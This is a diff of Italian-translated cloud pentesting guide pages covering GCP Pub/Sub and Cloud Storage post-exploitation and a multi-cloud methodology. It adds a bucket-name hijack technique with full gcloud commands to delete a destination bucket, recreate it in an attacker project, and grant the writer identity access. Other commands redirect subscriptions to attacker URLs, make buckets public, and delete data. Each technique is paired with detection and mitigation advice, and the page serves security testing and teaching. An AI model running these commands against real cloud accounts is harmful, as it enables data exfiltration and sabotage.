+Usa questo permission per aggiornare qualche impostazione del topic per interromperlo, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-Concediti il permesso per eseguire uno qualsiasi degli attacchi precedenti.
+Concediti il permission per eseguire qualsiasi dei precedenti attacchi.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,7 +84,7 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-Recupera tutti i messaggi da un web server:
+Ottieni tutti i messaggi in un web server:
 
 <details>
 
@@ -95,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
 ```
 </details>
 
-Crea una sottoscrizione e usala per **prelevare messaggi**:
+Crea una subscription e usala per **pull messages**:
 
 <details>
 
-<summary>Crea una sottoscrizione pull e recupera i messaggi</summary>
+<summary>Crea una pull subscription e recupera i messaggi</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**Eliminare una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
+**Elimina una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
 
 <details>
 
@@ -124,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-Usa questo permesso per aggiornare qualche impostazione in modo che i messaggi vengano salvati in un posto a cui puoi accedere (URL, Big Query table, Bucket) oppure semplicemente per interromperne il funzionamento.
+Usa questo permission per aggiornare alcune impostazioni in modo che i messaggi vengano archiviati in un posto a cui puoi accedere (URL, tabella Big Query, Bucket) oppure semplicemente per interromperlo.
 
 <details>
 
@@ -134,18 +134,51 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Le subscriptions di Pub/Sub possono scrivere i messaggi consegnati nei bucket di Cloud Storage. Se una subscription continua a puntare a `gs://<bucket-name>` e un attacker può eliminare quel bucket, l'attacker può ricreare lo stesso nome di bucket globalmente univoco in un altro project e ricevere i messaggi futuri senza modificare la subscription.
+
+Questo può essere utile quando l'attacker non può usare `pubsub.subscriptions.update`, ma può eliminare il bucket di destinazione con permissions come `storage.buckets.delete`, `storage.objects.delete` e `storage.objects.list`.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** esfiltrazione di future messaggi Pub/Sub archiviati su Cloud Storage, inclusi eventi applicativi, payload di pipeline fallite, log o record di ingestione del data lake.
+
+**Detection & Mitigation:** allerta sulla cancellazione di bucket usati da sottoscrizioni Pub/Sub, rivedi le sottoscrizioni con `cloudStorageConfig`, monitora errori di delivery seguiti dalla ricreazione del bucket, e limita l’accesso distruttivo sui bucket di archiviazione dei messaggi.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi commentati in precedenza.
+Dai a te stesso i permessi necessari per eseguire uno qualsiasi degli attacchi commentati in precedenza.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-Associa uno schema a un topic in modo che i messaggi non lo soddisfino e quindi il topic venga interrotto.\
-Se non ci sono schemi potresti doverne creare uno.
+Attacca uno schema a un topic così che i messaggi non lo soddisfino e quindi il topic venga interrotto.\
+Se non ci sono schemi, potresti doverne crearne uno.
 
 <details>
 
-<summary>Crea un file schema e allegalo al topic</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente nel topic. Quindi questo è **INUTILE**:
+Questo potrebbe sembrare come eliminare uno schema, così sarai in grado di inviare messaggi che non rispettano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà davvero all'interno del topic. Quindi questo è **USELESS**:
 
 <details>
 
-<summary>Elimina schema (inutile)</summary>
+<summary>Elimina schema (non utile)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-Concediti le autorizzazioni necessarie per eseguire uno qualsiasi degli attacchi menzionati in precedenza.
+Concediti i permessi necessari per eseguire qualsiasi degli attacchi commentati in precedenza.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-Questo creerà uno snapshot di tutti i messaggi unACKed e li reintrodurrà nella subscription. Non molto utile per un attacker ma ecco:
+Questo creerà uno snapshot di tutti i messaggi non ACKed e li reinserirà nella subscription. Non molto utile per un attacker, ma qui c'è:
 
 <details>
 
-<summary>Crea uno snapshot e fai seek su di esso</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index 0c0d1bb90..c0499fa97 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## Cloud Storage
 
-Per maggiori informazioni su Cloud Storage consulta questa pagina:
+Per ulteriori informazioni su Cloud Storage controlla questa pagina:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### Concedere l'accesso pubblico
+### Give Public Access
 
-È possibile concedere agli utenti esterni (autenticati in GCP o no) l'accesso al contenuto dei bucket. Tuttavia, per impostazione predefinita i bucket avranno disabilitata l'opzione per esporre pubblicamente un bucket:
+È possibile dare agli utenti esterni (connessi in GCP o meno) accesso al contenuto dei bucket. Tuttavia, per impostazione predefinita il bucket avrà disabilitata l'opzione per esporre pubblicamente un bucket:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-Se provi ad assegnare **ACLs a un bucket con ACLs disabilitate** troverai questo errore: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+Se provi a dare **ACLs a un bucket con ACLs disabilitate** troverai questo errore: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-Per accedere ai bucket aperti tramite browser, usa l'URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
+Per accedere ai bucket aperti via browser, accedi all'URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-Per eliminare un oggetto:
+Per eliminare un object:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
@@ -41,9 +41,41 @@ Per eliminare un bucket:
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### Disattivare le chiavi HMAC
+### Global bucket name takeover of upstream writers
 
-Il permesso `storage.hmacKeys.update` consente di disabilitare le chiavi HMAC, e il permesso `storage.hmacKeys.delete` consente a un'identità di eliminare le chiavi HMAC associate agli account di servizio in Cloud Storage.
+I nomi dei bucket di Cloud Storage sono globalmente unici. Prima di eliminare un bucket, verifica se qualche servizio automatizzato continua a scrivere in quel bucket per nome. Se il bucket viene eliminato e lo stesso nome viene ricreato in un progetto controllato da un attacker, gli upstream writers, come i Cloud Logging sinks, le sottoscrizioni Cloud Storage di Pub/Sub o i job di Storage Transfer Service, potrebbero continuare a scrivere i dati futuri nel bucket sostitutivo.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+Concedi l’accesso alla bucket sostitutiva alla rilevante identity writer se il servizio upstream lo richiede:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** esfiltrazione a lungo termine di logs, messages, transfer outputs, backups, o data pipeline artifacts senza modificare la risorsa router originale.
+
+**Detection & Mitigation:** trattare l'eliminazione del bucket come high risk quando il bucket è referenziato da sinks/subscriptions/jobs, alert sui dangling destinations, restringere `storage.buckets.delete`, e usare retention policies o legal holds per bucket di export critici quando appropriato.
+
+### Deactivate HMAC Keys
+
+Il permesso `storage.hmacKeys.update` consente di disabilitare HMAC keys, e il permesso `storage.hmacKeys.delete` consente a un identity di eliminare HMAC keys associate a service accounts in Cloud Storage.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,19 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
-La `storage.buckets.setIpFilter` permission, insieme alla `storage.buckets.update` permission, consente a un'identità di configurare filtri di indirizzi IP su un bucket Cloud Storage, specificando quali intervalli o indirizzi IP sono autorizzati ad accedere alle risorse del bucket.
+Il permesso `storage.buckets.setIpFilter`, insieme al permesso `storage.buckets.update`, consente a un'identità di configurare i filtri degli indirizzi IP su un bucket di Cloud Storage, specificando quali intervalli di IP o indirizzi sono autorizzati ad accedere alle risorse del bucket.
 
-Per cancellare completamente il filtro IP, è possibile usare il comando seguente:
+Per cancellare completamente il filtro IP, si può usare il seguente comando:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-Per cambiare gli IP filtrati, è possibile usare il seguente comando:
+Per cambiare gli IP filtrati, può essere usato il seguente comando:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
 --project=<PROJECT_ID>
 ```
-Il file JSON rappresenta il filtro stesso, qualcosa del tipo:
+Il file JSON rappresenta il filtro stesso, qualcosa come:
 ```bash
 {
 "mode": "Enabled",
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index a361946e5..73ec4f789 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Metodologia di Pentesting Cloud
+# Pentesting Cloud Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,65 @@
 
 ## Metodologia di base
 
-Ogni cloud ha le sue peculiarità ma, in generale, ci sono alcune **cose comuni che un pentester dovrebbe verificare** quando testa un ambiente cloud:
+Ogni cloud ha le sue peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud:
 
-- **Controlli di benchmark**
-- Questo ti aiuterà a **capire la dimensione** dell'ambiente e i **servizi utilizzati**
-- Ti permetterà anche di trovare alcune **misconfigurazioni rapide**, dato che puoi eseguire la maggior parte di questi test con **strumenti automatizzati**
-- **Enumerazione dei servizi**
-- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i controlli di benchmark, ma potresti trovare alcune che non sono state cercate nei test di benchmark.
-- Questo ti permetterà di sapere **cosa è esattamente utilizzato** nell'ambiente cloud
-- Questo aiuterà molto nei passaggi successivi
-- **Verifica degli asset esposti**
-- Questo può essere fatto durante la sezione precedente: devi **scoprire tutto ciò che è potenzialmente esposto** su Internet in qualche modo e come può essere accessibile.
-- Qui intendo l'**infrastruttura esposta manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti cloud che possono essere configurati** per essere esposti (come DBs o bucket)
-- Poi dovresti verificare **se quella risorsa può essere esposta o meno** (informazioni confidenziali? vulnerabilità? misconfigurazioni nel servizio esposto?)
-- **Controlla le autorizzazioni**
-- Qui dovresti **scoprire tutte le autorizzazioni di ogni ruolo/utente** all'interno del cloud e come vengono utilizzate
-- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe essere già stata fatta nei test di benchmark
-- Se il cliente utilizza OpenID o SAML o un'altra **federazione**, potrebbe essere necessario chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa che il ruolo admin sia assegnato a 1 utente o a 100)
-- Non è **sufficiente identificare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molte **altre autorizzazioni** che, a seconda dei servizi utilizzati, possono essere molto **sensibili**.
-- Inoltre, esistono **potenziali privesc** da seguire abusando delle autorizzazioni. Tutte queste cose dovrebbero essere prese in considerazione e dovrebbero essere segnalati **il maggior numero possibile di percorsi di privesc**.
-- **Verifica delle integrazioni**
-- È molto probabile che **integrazioni con altri clouds o SaaS** vengano utilizzate all'interno dell'ambiente cloud.
-- Per le **integrazioni del cloud che stai auditando** con altre piattaforme dovresti notificare **chi ha accesso ad (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\
-Ad esempio, chi può scrivere in un bucket AWS da cui GCP ottiene dati (chiedi quanto è sensibile l'azione in GCP che tratta quei dati).
-- Per le **integrazioni all'interno del cloud che stai auditando** provenienti da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente ad (ab)usare quell'integrazione** e verificare come vengono utilizzati quei dati.\
-Ad esempio, se un servizio usa un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accessi otterrà quell'immagine quando eseguita all'interno di un cloud AWS.
+- **Benchmark checks**
+- Questo ti aiuterà a **capire la dimensione** dell'ambiente e i **servizi usati**
+- Ti permetterà anche di trovare alcune **quick misconfigurations** perché puoi eseguire la maggior parte di questi test con **automated tools**
+- **Services Enumeration**
+- Probabilmente qui non troverai molte altre misconfigurations se hai eseguito correttamente i benchmark tests, ma potresti trovarne alcune che non erano state cercate nel benchmark test.
+- Questo ti permetterà di sapere **cosa viene esattamente usato** nell'ambiente cloud
+- Questo aiuterà molto nei passi successivi
+- **Check exposed assets**
+- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accessibile.
+- Qui sto considerando **manually exposed infrastructure** come istanze con pagine web o altre porte esposte, e anche altri **cloud managed services that can be configured** per essere esposti (come DBs o buckets)
+- Poi dovresti controllare **se quella risorsa può essere esposta o no** (informazioni riservate? vulnerabilità? misconfigurations nel servizio esposto?)
+- **Check permissions**
+- Qui dovresti **scoprire tutti i permissions di ogni ruolo/user** dentro il cloud e come vengono usati
+- Troppi account **highly privileged** (control everything)? Generated keys non usate?... La maggior parte di questi controlli dovrebbe essere già stata fatta nei benchmark tests
+- Se il client usa OpenID o SAML o altre **federation**, potresti dover chiedere loro ulteriori **informazioni** su **come viene assegnato ogni ruolo** (non è la stessa cosa che il ruolo admin sia assegnato a 1 user o a 100)
+- **Non basta trovare** quali users hanno permissions **admin** "\*:\*". Ci sono molte **altre permissions** che, a seconda dei servizi usati, possono essere molto **sensitive**.
+- Inoltre, ci sono possibili vie di **privesc** da seguire abusando dei permissions. Tutte queste cose dovrebbero essere prese in considerazione e dovrebbero essere segnalati **il maggior numero possibile di privesc paths**.
+- **Check Integrations**
+- È molto probabile che vengano usate **integrations with other clouds or SaaS** all'interno dell'ambiente cloud.
+- Per le **integrations of the cloud you are auditing** con altre piattaforme dovresti indicare **chi ha accesso per (ab)usare quella integration** e dovresti chiedere **quanto è sensitive** l'azione eseguita.\
+Per esempio, chi può scrivere in un bucket AWS da cui GCP sta ottenendo dati (chiedi quanto è sensitive l'azione in GCP che tratta quei dati).
+- Per le **integrations inside the cloud you are auditing** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente per (ab)usare quella integration** e controllare come vengono usati quei dati.\
+Per esempio, se un servizio usa un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso per modificarla e quali informazioni sensitive e accessi otterrà quell'immagine quando verrà eseguita dentro un cloud AWS.
 
-## Strumenti Multi-Cloud
+### Hunt autonomous data streams writing to globally-unique storage
 
-Ci sono diversi strumenti che possono essere usati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione.
+Durante il post-exploitation, esamina esportazioni a lunga durata come log sinks, subscriptions, replication jobs, Firehose streams e diagnostic settings che scrivono su buckets o storage accounts con nome globally-unique. Se la destinazione può essere eliminata e lo stesso nome può essere ricreato sotto il controllo dell'attaccante, il servizio upstream potrebbe continuare a consegnare dati sensitive alla destinazione sostitutiva anche quando l'attaccante non può aggiornare direttamente la risorsa router.
+
+Concentrati su questo controllo nelle pagine dei servizi rilevanti:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
+
+## Multi-Cloud tools
+
+Ci sono diversi tool che possono essere usati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Uno strumento per **identificare configurazioni errate e percorsi di privesc nei clouds e attraverso clouds/SaaS.**
+Uno tool per **identificare bad configurations e privesc path in clouds e across clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Supporta **AWS, GCP & Azure**. Consulta come configurare ogni provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Supporta **AWS, GCP & Azure**. Controlla come configurare ogni provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Controlla tutti i progetti</summary>
+<summary>Controlla tutti i Projects</summary>
 
-Per controllare tutti i progetti devi generare il file `gcp.spc` indicando tutti i progetti da testare. Puoi seguire le indicazioni del seguente script
+Per controllare tutti i projects devi generare il file `gcp.spc` che indica tutti i projects da testare. Puoi semplicemente seguire le indicazioni del seguente script
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,7 +220,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Per controllare **altri insight GCP** (utile per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Per controllare **altri GCP insights** (utili per enumerare i servizi) usa: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Per controllare il codice Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Per controllare il codice Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+Più plugin AWS di Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Richiede python2.7 e sembra non essere mantenuto.
+Richiede python2.7 e sembra non mantenuto.
 
 ### Nessus
 
-Nessus dispone di una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. Sono necessarie alcune configurazioni aggiuntive in **Azure** per ottenere un **Client Id**.
+Nessus ha una scansione _**Audit Cloud Infrastructure**_ che supporta: AWS, Azure, Office 365, Rackspace, Salesforce. In **Azure** sono necessarie alcune configurazioni extra per ottenere un **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist è uno **strumento multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai Cloud Providers.
+Cloudlist è uno strumento **multi-cloud per ottenere Assets** (Hostnames, IP Addresses) dai Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography è uno strumento in Python che consolida le risorse dell'infrastruttura e le relazioni tra di esse in una vista a grafo intuitiva alimentata da un database Neo4j.
+Cartography è uno strumento Python che consolida gli asset dell'infrastruttura e le relazioni tra di essi in una vista grafica intuitiva alimentata da un database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase raccoglie asset e relazioni da servizi e sistemi, tra cui l'infrastruttura cloud, le applicazioni SaaS, i controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j.
+Starbase raccoglie asset e relazioni da servizi e sistemi, inclusi cloud infrastructure, applicazioni SaaS, security controls e altro, in una vista grafica intuitiva supportata dal database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -372,13 +398,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Uno strumento per trovare l'infrastruttura, i file e le app di un'azienda (target) sui principali cloud provider (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Uno strumento per trovare l'infrastruttura, i file e le app di una company (target) sui principali cloud provider (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox è uno strumento per identificare percorsi di attacco sfruttabili nell'infrastruttura cloud (attualmente supportati solo AWS & Azure, GCP in arrivo).
+- CloudFox è uno strumento per trovare attack path sfruttabili nell'infrastruttura cloud (attualmente supporta solo AWS & Azure, con GCP in arrivo).
 - È uno strumento di enumeration pensato per integrare il pentesting manuale.
-- Non crea né modifica alcun dato nell'ambiente cloud.
+- Non crea né modifica alcun dato all'interno dell'ambiente cloud.
 
 ### More lists of cloud security tools
 
@@ -410,7 +436,7 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## Funzionalità comuni della sicurezza cloud
+## Common Cloud Security Features
 
 ### Confidential Computing
 
@@ -418,4 +444,11 @@ azure-security/
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}